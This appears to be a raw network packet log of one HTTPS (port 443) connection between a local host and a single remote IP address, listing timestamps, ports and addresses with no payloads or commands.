Jan 12, 2025 09:26:28.394423008 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394522905 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394522905 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394603014 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394644022 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394675970 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394690990 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394696951 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394748926 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394753933 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394773960 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394807100 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394814014 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394839048 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394846916 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394927979 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394927979 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.395299911 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.395356894 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.395503998 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.395504951 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.395513058 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.395528078 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.395590067 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.395590067 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.395626068 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.395673037 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.395689964 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.395695925 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.395721912 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.396181107 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.398468971 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.429730892 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.429796934 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.429805040 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.429821968 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.429877043 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.429982901 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430023909 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430119038 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.430119038 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.430126905 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430149078 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430195093 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.430202007 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430326939 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.430335999 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430358887 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430394888 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.430411100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430486917 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.430486917 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.430494070 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430507898 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.430644035 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.430649996 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.431236982 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480288029 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480355978 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480417013 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480434895 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480442047 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480529070 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480531931 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480560064 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480598927 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480618000 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480618000 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480628014 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480696917 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480741024 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480760098 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480760098 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480760098 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480768919 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.480819941 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.480819941 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.481945992 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.481996059 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.482023001 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.482028008 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.482064962 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.482064962 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.482158899 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.482201099 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.482263088 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.482264042 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.482270002 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.482388020 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.517604113 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.517667055 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.517710924 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.517731905 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.517790079 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.517801046 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.517822027 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.517848969 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.517889977 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.517919064 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.517919064 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.517939091 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.517992020 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.517997980 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.518090963 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.518105984 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.518755913 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.560929060 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.561006069 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.561116934 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.561116934 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.561136961 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.561238050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.567568064 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.567615032 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.567650080 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.567665100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.567689896 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.567778111 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.567828894 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.567909002 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.567909002 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.567909002 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.567924976 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.567970037 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.569094896 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.569143057 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.569173098 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.569188118 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.569195986 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.569259882 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.569355011 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.569394112 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.569515944 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.569526911 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.569688082 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.569688082 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.605074883 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605137110 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605195045 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.605211020 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605269909 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.605269909 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.605290890 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605432034 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605480909 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605612040 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605654001 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605665922 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.605665922 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.605665922 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.605690002 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.605736017 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.605736017 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.648468018 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.648540974 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.648761034 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.648761034 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.648772001 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.648895025 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.655430079 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.655473948 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.655524969 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.655534983 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.655545950 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.655570984 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.655621052 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.655646086 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.655653954 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.655682087 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.655682087 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.655724049 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.656486988 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.656528950 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.656570911 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.656582117 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.656589031 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.656944990 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.656996965 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.657054901 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.657141924 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.657141924 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.657147884 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.657233953 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692138910 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692204952 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692224026 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692241907 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692379951 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692421913 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692421913 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692430973 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692466021 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692672014 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692698002 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692698002 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692698002 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692711115 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692754030 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692761898 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692779064 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692784071 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.692822933 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.692838907 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.735547066 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.735593081 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.735630989 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.735637903 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.735723019 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.735723972 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.742552996 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.742594004 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.742710114 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.742743969 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.742743969 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.742760897 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.742784977 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.742809057 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.742856979 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.742861986 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.743149042 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.743876934 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.743916988 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.744221926 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.744221926 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.744229078 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.744237900 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.744282961 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.744288921 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.744314909 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.744340897 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.744487047 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.744487047 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.779865980 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.779927015 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.779947996 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.779962063 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.780045986 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.780045986 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.780064106 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.780092955 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.780124903 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.780132055 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.780168056 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.780173063 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.780183077 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.780308962 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.780327082 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.780368090 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.780459881 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.780459881 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.780464888 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.780658960 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.823281050 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.823384047 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.823394060 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.823414087 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.823472023 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.823472023 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.829874992 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.829920053 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.830023050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.830023050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.830035925 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.830086946 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.830100060 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.830111027 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.830142021 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.830178022 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.830178022 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.830184937 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.830208063 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.830228090 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.831269979 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.831341028 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.831352949 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.831363916 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.831406116 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.831406116 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.831532955 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.831618071 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.831773043 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.831825018 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.831830025 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.831830025 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.831830025 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.831849098 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.831887960 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.832082987 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867299080 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867358923 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867394924 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867419004 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867441893 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867507935 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867578030 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867623091 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867697954 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867697954 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867710114 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867769003 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867770910 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867790937 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867827892 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867872953 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867872953 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867883921 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.867913961 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.867913961 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.917634010 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.917701006 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.917737007 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.917751074 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.917803049 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.917860031 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.917875051 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.917875051 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.917875051 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.917882919 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.917959929 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.917965889 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.918050051 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.918700933 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.918752909 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.918800116 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.918804884 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.918834925 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.918909073 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.918922901 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.918934107 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.918956995 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.918979883 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.918984890 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.919028997 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.919028997 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.919116974 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.919162989 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.919182062 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.919193029 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.919241905 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.919241905 CET	49727	443	192.168.2.7	104.21.60.172
